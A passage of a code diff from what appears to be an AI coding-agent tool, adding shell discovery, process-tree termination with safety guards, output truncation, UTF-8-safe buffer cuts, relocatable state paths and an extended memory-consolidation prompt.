+ const override = process.env.CODE_SHELL_POWERSHELL_PATH;
195
+ if (override && existsSync(override))
196
+ return (powerShellCache = override);
197
+ const candidates = [];
198
+ for (const exe of ["pwsh", "powershell"]) {
199
+ try {
200
+ const out = execFileSync("where", [exe], { encoding: "utf-8", timeout: 3000 });
201
+ const found = out.split(/\r?\n/).find((l) => l.trim().toLowerCase().endsWith(`${exe}.exe`));
202
+ if (found)
203
+ candidates.push(found.trim());
204
+ }
205
+ catch {
206
+ // Not on PATH; try the next shell / well-known locations.
207
+ }
208
+ }
209
+ const pf = process.env["ProgramFiles"] ?? "C:\\Program Files";
210
+ const systemRoot = process.env.SystemRoot ?? "C:\\Windows";
211
+ candidates.push(join(pf, "PowerShell", "7", "pwsh.exe"));
212
+ candidates.push(join(systemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe"));
213
+ const found = candidates.find((p) => existsSync(p));
214
+ return (powerShellCache = found ?? null) ?? undefined;
215
+ }
216
+ /** Reset the PowerShell probe cache. Test-only (platform is stubbed per test). */
217
+ export function _resetPowerShellCache() {
218
+ powerShellCache = undefined;
219
+ }
220
+ /** The platform's default interactive shell binary, for spawning a bare shell
221
+ * (no `-c`/`/c` command). Windows → Git Bash if present, else PowerShell,
222
+ * else ComSpec/cmd.exe;
223
+ * POSIX → $SHELL/bin/bash. Windows prefers Git Bash so the model's bash-syntax
224
+ * commands actually run (cmd.exe can't). */
225
+ export function defaultShellBinary(shell) {
226
+ if (shell)
227
+ return shell;
228
+ if (process.platform === "win32") {
229
+ return resolveGitBash() ?? resolvePowerShell() ?? process.env.ComSpec ?? "cmd.exe";
230
+ }
231
+ return process.env.SHELL ?? "/bin/bash";
232
+ }
233
+ /**
234
+ * Resolve the actual (file, args) for a shell `command` under an optional
235
+ * sandbox. With a sandbox, the backend decides (e.g. seatbelt →
236
+ * `sandbox-exec -f profile shell -c command`). Without one, plain
237
+ * `shell -c command`. This is exactly safeSpawnShell's pre-spawn logic,
238
+ * lifted so the background path produces an identical target.
239
+ */
240
+ export function resolveSpawnTarget(command, opts) {
241
+ if (opts.sandbox) {
242
+ const wrapped = opts.sandbox.wrap(command, { cwd: opts.cwd, shell: opts.shell });
243
+ return { file: wrapped.file, args: wrapped.args, cleanup: wrapped.cleanup };
244
+ }
245
+ // No sandbox configured: pick the shell + command-flag form for the
246
+ // platform instead of assuming POSIX `-c`. Note Bash always passes a
247
+ // backend (off at minimum), so it never reaches this line — the off
248
+ // backend's wrap() delegates to resolveShellInvocation itself.
249
+ return resolveShellInvocation(command, opts.shell);
250
+ }
251
+ /**
252
+ * Terminate a single (non-detached) foreground child + its tree.
253
+ *
254
+ * - POSIX: SIGTERM, then SIGKILL after `graceMs` if it ignored the term.
255
+ * (The child is the process-group leader of its own subtree only if it was
256
+ * spawned with its own group; safe-spawn's foreground children are not, so
257
+ * this kills the direct child — matching the historical behavior.)
258
+ * - Windows: `child.kill("SIGTERM")` is a no-op and only kills the direct
259
+ * child anyway, leaving grandchildren (e.g. `npm test → node`). Use
260
+ * `taskkill /T /F` on the pid to reap the whole tree. No graceful phase.
261
+ *
262
+ * Best-effort: never throws; a child that already exited is fine.
263
+ */
264
+ export function killChildTree(child, graceMs) {
265
+ if (process.platform === "win32") {
266
+ if (typeof child.pid === "number")
267
+ void killProcessTreeWindows(child.pid);
268
+ else
269
+ try {
270
+ child.kill("SIGKILL");
271
+ }
272
+ catch { /* gone */ }
273
+ return;
274
+ }
275
+ try {
276
+ child.kill("SIGTERM");
277
+ }
278
+ catch { /* may already be dead */ }
279
+ setTimeout(() => {
280
+ try {
281
+ child.kill("SIGKILL");
282
+ }
283
+ catch { /* ignore */ }
284
+ }, graceMs).unref();
285
+ }
286
+ const DEFAULT_GROUP_GRACE_MS = 3000;
287
+ /**
288
+ * Terminate an entire process group, SIGTERM → grace → SIGKILL.
289
+ *
290
+ * Targets the group by negating the leader pid (`process.kill(-pgid, sig)`),
291
+ * which requires the leader to have been spawned `detached: true` so its pid
292
+ * is its own pgid. This is the background path's answer to design §难点2:
293
+ * `npm run dev`'s real tree (`sh → npm → node vite`) all share the group, so
294
+ * one group-level signal reaps the vite child that actually holds the port.
295
+ *
296
+ * Resolves once the group is confirmed gone (or the grace SIGKILL has been
297
+ * sent). Idempotent: a group that's already dead (ESRCH) resolves immediately
298
+ * without throwing.
299
+ *
300
+ * @param pgid The process-group id == the detached leader's pid.
301
+ */
302
+ export function killProcessGroup(pgid, opts = {}) {
303
+ // Safety: a pgid of 0/1 (or non-integer) must NEVER reach process.kill —
304
+ // `process.kill(-0)` targets the caller's OWN group and `process.kill(-1)`
305
+ // signals EVERY process the user can reach (catastrophic self-kill). Live
306
+ // pgids are real detached-child pids (>1), but pgid is also persisted in
307
+ // orphan records and read back from disk, so a corrupt/tampered record could
308
+ // surface 0/1 here. Refuse rather than fire a group signal at a bogus target.
309
+ if (!Number.isInteger(pgid) || pgid <= 1) {
310
+ return Promise.resolve();
311
+ }
312
+ // Windows has no process groups and no real SIGTERM. The detached leader is
313
+ // NOT spawned detached on win (see background-shell), so `pgid` is just the
314
+ // leader pid. Reap the whole tree with `taskkill /PID <pid> /T /F` — /T walks
315
+ // children (npm → node → vite), /F forces. This is the win32 equivalent of
316
+ // the negative-pid SIGKILL below; there's no graceful phase on Windows.
317
+ if (process.platform === "win32") {
318
+ return killProcessTreeWindows(pgid);
319
+ }
320
+ const grace = opts.graceMs ?? DEFAULT_GROUP_GRACE_MS;
321
+ return new Promise((resolve) => {
322
+ if (!groupAlive(pgid)) {
323
+ resolve();
324
+ return;
325
+ }
326
+ try {
327
+ process.kill(-pgid, "SIGTERM");
328
+ }
329
+ catch {
330
+ // Already gone, or not permitted — fall through to the grace check.
331
+ }
332
+ const start = Date.now();
333
+ // Poll for graceful exit so we can resolve early (and skip SIGKILL) when
334
+ // the group honors SIGTERM. Cheap: a `kill(-pgid, 0)` probe every 50ms.
335
+ const tick = () => {
336
+ if (!groupAlive(pgid)) {
337
+ resolve();
338
+ return;
339
+ }
340
+ if (Date.now() - start >= grace) {
341
+ try {
342
+ process.kill(-pgid, "SIGKILL");
343
+ }
344
+ catch {
345
+ // Race: exited between the probe and here. Fine.
346
+ }
347
+ // Give the OS a beat to tear the group down before resolving so
348
+ // callers that immediately probe see ESRCH.
349
+ setTimeout(resolve, 50);
350
+ return;
351
+ }
352
+ setTimeout(tick, 50);
353
+ };
354
+ setTimeout(tick, 50);
355
+ });
356
+ }
357
+ /**
358
+ * True if any process in the group `pgid` is still alive. Signal 0 performs
359
+ * existence/permission checks without delivering a signal; ESRCH means the
360
+ * whole group is gone.
361
+ *
362
+ * Windows has no process groups: probe the leader pid directly (positive,
363
+ * Node supports signal 0 on Windows for an existence check). Children may
364
+ * outlive the leader, but `taskkill /T` already reaps the tree, so a
365
+ * leader-alive probe is the right gate for the win32 kill path.
366
+ */
367
+ export function groupAlive(pgid) {
368
+ // Same 0/1 guard as killProcessGroup: `process.kill(-0, 0)` probes the
369
+ // caller's own group (a false "alive"), and -1 is the all-processes target.
370
+ // A bogus pgid means "no such group" → not alive.
371
+ if (!Number.isInteger(pgid) || pgid <= 1)
372
+ return false;
373
+ const target = process.platform === "win32" ? pgid : -pgid;
374
+ try {
375
+ process.kill(target, 0);
376
+ return true;
377
+ }
378
+ catch (e) {
379
+ return e.code !== "ESRCH";
380
+ }
381
+ }
382
+ /**
383
+ * Windows process-tree kill via `taskkill /PID <pid> /T /F`. Resolves when
384
+ * taskkill exits (or immediately if the pid is already gone). Best-effort:
385
+ * a non-zero exit (e.g. "process not found", code 128) is treated as success
386
+ * since the goal — the tree being gone — is met.
387
+ */
388
+ function killProcessTreeWindows(pid) {
389
+ return new Promise((resolve) => {
390
+ let child;
391
+ try {
392
+ child = spawn("taskkill", ["/PID", String(pid), "/T", "/F"], {
393
+ stdio: "ignore",
394
+ windowsHide: true,
395
+ });
396
+ }
397
+ catch {
398
+ resolve();
399
+ return;
400
+ }
401
+ child.on("error", () => resolve());
402
+ child.on("exit", () => resolve());
403
+ });
404
+ }
@@ -0,0 +1,22 @@
1
+ /**
2
+ * Head+tail truncation for long command output (TODO 2.11 — shell snapshot).
3
+ *
4
+ * The naive "keep first N chars, drop the rest" loses the END of the output —
5
+ * which for a failing command is usually the most important part (the error,
6
+ * the stack tail, the final summary line). Instead, when output exceeds `cap`,
7
+ * keep a head slice AND a tail slice with a clear marker noting how much was
8
+ * dropped in the middle. Pure + testable.
9
+ */
10
+ export interface TruncateOptions {
11
+ /** Max total chars to keep before truncating (head + tail combined budget). */
12
+ cap: number;
13
+ /** Fraction of the kept budget given to the head (rest goes to the tail). Default 0.5. */
14
+ headRatio?: number;
15
+ }
16
+ /**
17
+ * Keep the head and tail of `text` when it's longer than `cap`, joined by a
18
+ * marker that states how many chars were omitted. Returns the input unchanged
19
+ * when it fits. Slices on line boundaries when possible so a cut doesn't land
20
+ * mid-line (falls back to a hard char cut for a single huge line).
21
+ */
22
+ export declare function truncateHeadTail(text: string, opts: TruncateOptions): string;
@@ -0,0 +1,49 @@
1
+ /**
2
+ * Head+tail truncation for long command output (TODO 2.11 — shell snapshot).
3
+ *
4
+ * The naive "keep first N chars, drop the rest" loses the END of the output —
5
+ * which for a failing command is usually the most important part (the error,
6
+ * the stack tail, the final summary line). Instead, when output exceeds `cap`,
7
+ * keep a head slice AND a tail slice with a clear marker noting how much was
8
+ * dropped in the middle. Pure + testable.
9
+ */
10
+ /**
11
+ * Keep the head and tail of `text` when it's longer than `cap`, joined by a
12
+ * marker that states how many chars were omitted. Returns the input unchanged
13
+ * when it fits. Slices on line boundaries when possible so a cut doesn't land
14
+ * mid-line (falls back to a hard char cut for a single huge line).
15
+ */
16
+ export function truncateHeadTail(text, opts) {
17
+ const { cap } = opts;
18
+ if (cap <= 0 || text.length <= cap)
19
+ return text;
20
+ const headRatio = opts.headRatio ?? 0.5;
21
+ const headBudget = Math.max(0, Math.floor(cap * headRatio));
22
+ const tailBudget = Math.max(0, cap - headBudget);
23
+ const head = sliceHead(text, headBudget);
24
+ const tail = sliceTail(text, tailBudget);
25
+ const omitted = text.length - head.length - tail.length;
26
+ if (omitted <= 0)
27
+ return text; // ratios collapsed to no real cut
28
+ return (head +
29
+ `\n\n… [${omitted} chars omitted — showing first ${head.length} + last ${tail.length}] …\n\n` +
30
+ tail);
31
+ }
32
+ /** Take up to `budget` chars from the start, preferring a line boundary. */
33
+ function sliceHead(text, budget) {
34
+ if (budget <= 0)
35
+ return "";
36
+ const raw = text.slice(0, budget);
37
+ const lastNl = raw.lastIndexOf("\n");
38
+ // Snap back to the last newline if it keeps at least ~60% of the budget,
39
+ // otherwise the line is huge — hard cut to avoid throwing away most of it.
40
+ return lastNl > budget * 0.6 ? raw.slice(0, lastNl) : raw;
41
+ }
42
+ /** Take up to `budget` chars from the end, preferring a line boundary. */
43
+ function sliceTail(text, budget) {
44
+ if (budget <= 0)
45
+ return "";
46
+ const raw = text.slice(text.length - budget);
47
+ const firstNl = raw.indexOf("\n");
48
+ return firstNl >= 0 && firstNl < budget * 0.4 ? raw.slice(firstNl + 1) : raw;
49
+ }
@@ -0,0 +1,11 @@
1
+ /**
2
+ * Largest cut length ≤ `maxBytes` that does not split a multibyte UTF-8
3
+ * character in `buf`. Used to paginate a large output burst without emitting a
4
+ * `�` replacement char (and to keep the consumed-bytes cursor on a boundary so
5
+ * the next read resumes cleanly).
6
+ *
7
+ * UTF-8: a continuation byte is 0b10xxxxxx (0x80–0xBF); a lead byte starts a
8
+ * new character. If the byte at `maxBytes` is a continuation byte, we're mid
9
+ * -character, so walk back to the last lead byte and cut there.
10
+ */
11
+ export declare function utf8SafeCutLength(buf: Buffer, maxBytes: number): number;
@@ -0,0 +1,23 @@
1
+ /**
2
+ * Largest cut length ≤ `maxBytes` that does not split a multibyte UTF-8
3
+ * character in `buf`. Used to paginate a large output burst without emitting a
4
+ * `�` replacement char (and to keep the consumed-bytes cursor on a boundary so
5
+ * the next read resumes cleanly).
6
+ *
7
+ * UTF-8: a continuation byte is 0b10xxxxxx (0x80–0xBF); a lead byte starts a
8
+ * new character. If the byte at `maxBytes` is a continuation byte, we're mid
9
+ * -character, so walk back to the last lead byte and cut there.
10
+ */
11
+ export function utf8SafeCutLength(buf, maxBytes) {
12
+ if (maxBytes >= buf.length)
13
+ return buf.length;
14
+ if (maxBytes <= 0)
15
+ return 0;
16
+ let cut = maxBytes;
17
+ // Back off while the byte at the cut position is a UTF-8 continuation byte
18
+ // (0x80–0xBF) — that means the char starting before `cut` isn't complete yet.
19
+ while (cut > 0 && (buf[cut] & 0xc0) === 0x80) {
20
+ cut--;
21
+ }
22
+ return cut;
23
+ }
@@ -46,4 +46,8 @@ export declare function buildDreamUserPrompt(userMemories: Array<{
46
46
  name: string;
47
47
  type: string;
48
48
  description: string;
49
+ }>, globalMemories?: Array<{
50
+ name: string;
51
+ type: string;
52
+ description: string;
49
53
  }>): string;
@@ -6,14 +6,17 @@
6
6
  */
7
7
  import { existsSync, readFileSync, writeFileSync, mkdirSync } from "node:fs";
8
8
  import { join } from "node:path";
9
- import { homedir } from "node:os";
9
+ import { resolveMemoryBaseDir } from "../session/memory.js";
10
10
  const DEFAULT_CONFIG = {
11
11
  minSessionsBetween: 5,
12
12
  minTimeBetween: 24 * 60 * 60 * 1000, // 24 hours
13
13
  enabled: true,
14
14
  };
15
+ // Co-locate the dream-cadence state with the memories it tracks: both resolve
16
+ // through resolveMemoryBaseDir (CODE_SHELL_HOME ?? $HOME ?? homedir()), so a
17
+ // relocated/test HOME moves them together and never writes the real ~/.code-shell.
15
18
  function getStateFile() {
16
- return join(homedir(), ".code-shell", "auto-dream-state.json");
19
+ return join(resolveMemoryBaseDir(), "auto-dream-state.json");
17
20
  }
18
21
  function loadState() {
19
22
  const stateFile = getStateFile();
@@ -27,7 +30,7 @@ function loadState() {
27
30
  }
28
31
  function saveState(state) {
29
32
  const stateFile = getStateFile();
30
- mkdirSync(join(homedir(), ".code-shell"), { recursive: true });
33
+ mkdirSync(resolveMemoryBaseDir(), { recursive: true });
31
34
  writeFileSync(stateFile, JSON.stringify(state, null, 2), "utf-8");
32
35
  }
33
36
  /**
@@ -79,20 +82,23 @@ export function buildDreamSystemPrompt() {
79
82
  "",
80
83
  "Your job: clean up the `dream` scope by deduplicating, merging, removing stale, and improving descriptions.",
81
84
  "",
82
- "Tools available:",
83
- "- MemoryList({ scope }): list memories in a scope",
84
- "- MemoryRead({ scope, name }): read full content of an entry",
85
- "- MemorySave({ scope: 'dream', ... }): create or overwrite a dream entry (auto-approved)",
86
- "- MemoryDelete({ scope: 'dream', name }): soft-delete a dream entry (auto-approved, recoverable from trash)",
85
+ "Tools available (each takes `location`: 'global' = cross-project store, 'project' = this repo; default project):",
86
+ "- MemoryList({ scope, location }): list memories in a scope/location",
87
+ "- MemoryRead({ scope, location, name }): read full content of an entry",
88
+ "- MemorySave({ scope: 'dream', location, ... }): create or overwrite a dream entry (auto-approved)",
89
+ "- MemoryDelete({ scope: 'dream', location, name }): soft-delete a dream entry (auto-approved, recoverable from trash)",
90
+ "",
91
+ "Consolidate BOTH the project dream scope AND the global dream scope (pass location accordingly). Global holds cross-project lessons; keep it deduped too.",
87
92
  "",
88
93
  "Rules — read carefully:",
89
- "1. You may freely Save/Delete in the `dream` scope. These operations DO NOT prompt the user.",
94
+ "1. You may freely Save/Delete in the `dream` scope (any location). These operations DO NOT prompt the user.",
90
95
  "2. You may NOT Save/Delete in the `user` scope from this loop — those operations require interactive permission which is not available here. Treat user-scope entries as read-only context.",
91
96
  "3. If you find user-scope entries that look stale, surface them in your final summary text — don't try to delete them.",
92
97
  "4. Prefer fewer, higher-quality merged entries over many similar fragments.",
93
98
  "5. When an entry has versioned variants (e.g. `*-v1`, `*-v2`, `*-v3`), keep only the latest.",
94
99
  "6. Be conservative: if uncertain whether two entries are truly duplicates, leave them alone.",
95
- "7. When you're done, stop calling tools and respond with a one-paragraph summary of what you changed.",
100
+ "7. Archive COMPLETED work: dream entries that only record a finished fix/task (\"已修\", \"已完成\", \"done\") and carry no reusable lesson should be deleted, or merged into one compact changelog-style entry — completed-state notes that only grow are the main source of clutter. Keep any durable lesson (root cause, pitfall, convention) by folding it into a topical entry first.",
101
+ "8. When you're done, stop calling tools and respond with a one-paragraph summary of what you changed.",
96
102
  ].join("\n");
97
103
  }
98
104
  /**
@@ -100,25 +106,19 @@ export function buildDreamSystemPrompt() {
100
106
  * (entries in both scopes, by name + description) without dumping every entry
101
107
  * body. The LLM uses MemoryRead to fetch bodies for entries it wants to act on.
102
108
  */
103
- export function buildDreamUserPrompt(userMemories, dreamMemories) {
109
+ export function buildDreamUserPrompt(userMemories, dreamMemories, globalMemories = []) {
104
110
  const fmt = (m) => ` - [${m.type}] ${m.name}: ${m.description}`;
111
+ const listOrNone = (arr, noneMsg) => arr.length === 0 ? noneMsg : arr.map(fmt).join("\n");
105
112
  const sections = [];
106
- sections.push(`User-scope memories (READ-ONLY context, ${userMemories.length} entries):`);
107
- if (userMemories.length === 0) {
108
- sections.push(" (none)");
109
- }
110
- else {
111
- sections.push(userMemories.map(fmt).join("\n"));
112
- }
113
+ sections.push(`Project user-scope memories (READ-ONLY context, ${userMemories.length} entries):`);
114
+ sections.push(listOrNone(userMemories, " (none)"));
113
115
  sections.push("");
114
- sections.push(`Dream-scope memories (YOUR WORKSPACE, ${dreamMemories.length} entries):`);
115
- if (dreamMemories.length === 0) {
116
- sections.push(" (none — you may consolidate from user-scope by re-saving curated entries into dream)");
117
- }
118
- else {
119
- sections.push(dreamMemories.map(fmt).join("\n"));
120
- }
116
+ sections.push(`Project dream-scope memories (YOUR WORKSPACE — location:'project', ${dreamMemories.length} entries):`);
117
+ sections.push(listOrNone(dreamMemories, " (none — you may consolidate from user-scope by re-saving curated entries into dream)"));
118
+ sections.push("");
119
+ sections.push(`Global memories (cross-project — clean these too via location:'global', ${globalMemories.length} entries):`);
120
+ sections.push(listOrNone(globalMemories, " (none)"));
121
121
  sections.push("");
122
- sections.push("Begin consolidation. Use MemoryRead to inspect any entries whose names suggest duplication or staleness, then MemorySave/MemoryDelete in dream scope to clean up.");
122
+ sections.push("Begin consolidation. Use MemoryRead to inspect any entries whose names suggest duplication or staleness, then MemorySave/MemoryDelete (with the right location) to clean up.");
123
123
  return sections.join("\n");
124
124
  }
@@ -12,9 +12,8 @@ export interface DiagnosticEntry {
12
12
  stack?: string;
13
13
  }
14
14
  declare class DiagnosticsTracker {
15
- private logDir;
16
15
  private entries;
17
- constructor();
16
+ private logDir;
18
17
  /**
19
18
  * Record a diagnostic event.
20
19
  */
@@ -5,12 +5,16 @@
5
5
  */
6
6
  import { appendFileSync, mkdirSync, existsSync } from "node:fs";
7
7
  import { join } from "node:path";
8
- import { homedir } from "node:os";
8
+ import { userHome } from "../settings/manager.js";
9
9
  class DiagnosticsTracker {
10
- logDir;
11
10
  entries = [];
12
- constructor() {
13
- this.logDir = join(homedir(), ".code-shell", "diagnostics");
11
+ // Resolve per-write (NOT cached in the constructor): the module exports a
12
+ // singleton constructed at import, so a constructor-captured dir would freeze
13
+ // to import-time HOME. userHome() (not raw homedir(), bun-cached) reads $HOME
14
+ // live, so a relocated/test HOME redirects writes instead of hitting real
15
+ // ~/.code-shell.
16
+ logDir() {
17
+ return join(userHome(), ".code-shell", "diagnostics");
14
18
  }
15
19
  /**
16
20
  * Record a diagnostic event.
@@ -84,11 +88,12 @@ class DiagnosticsTracker {
84
88
  }
85
89
  persist(entry) {
86
90
  try {
87
- if (!existsSync(this.logDir)) {
88
- mkdirSync(this.logDir, { recursive: true });
91
+ const logDir = this.logDir();
92
+ if (!existsSync(logDir)) {
93
+ mkdirSync(logDir, { recursive: true });
89
94
  }
90
95
  const dateStr = entry.timestamp.split("T")[0];
91
- const logFile = join(this.logDir, `${dateStr}.jsonl`);
96
+ const logFile = join(logDir, `${dateStr}.jsonl`);
92
97
  appendFileSync(logFile, JSON.stringify(entry) + "\n", "utf-8");
93
98
  }
94
99
  catch {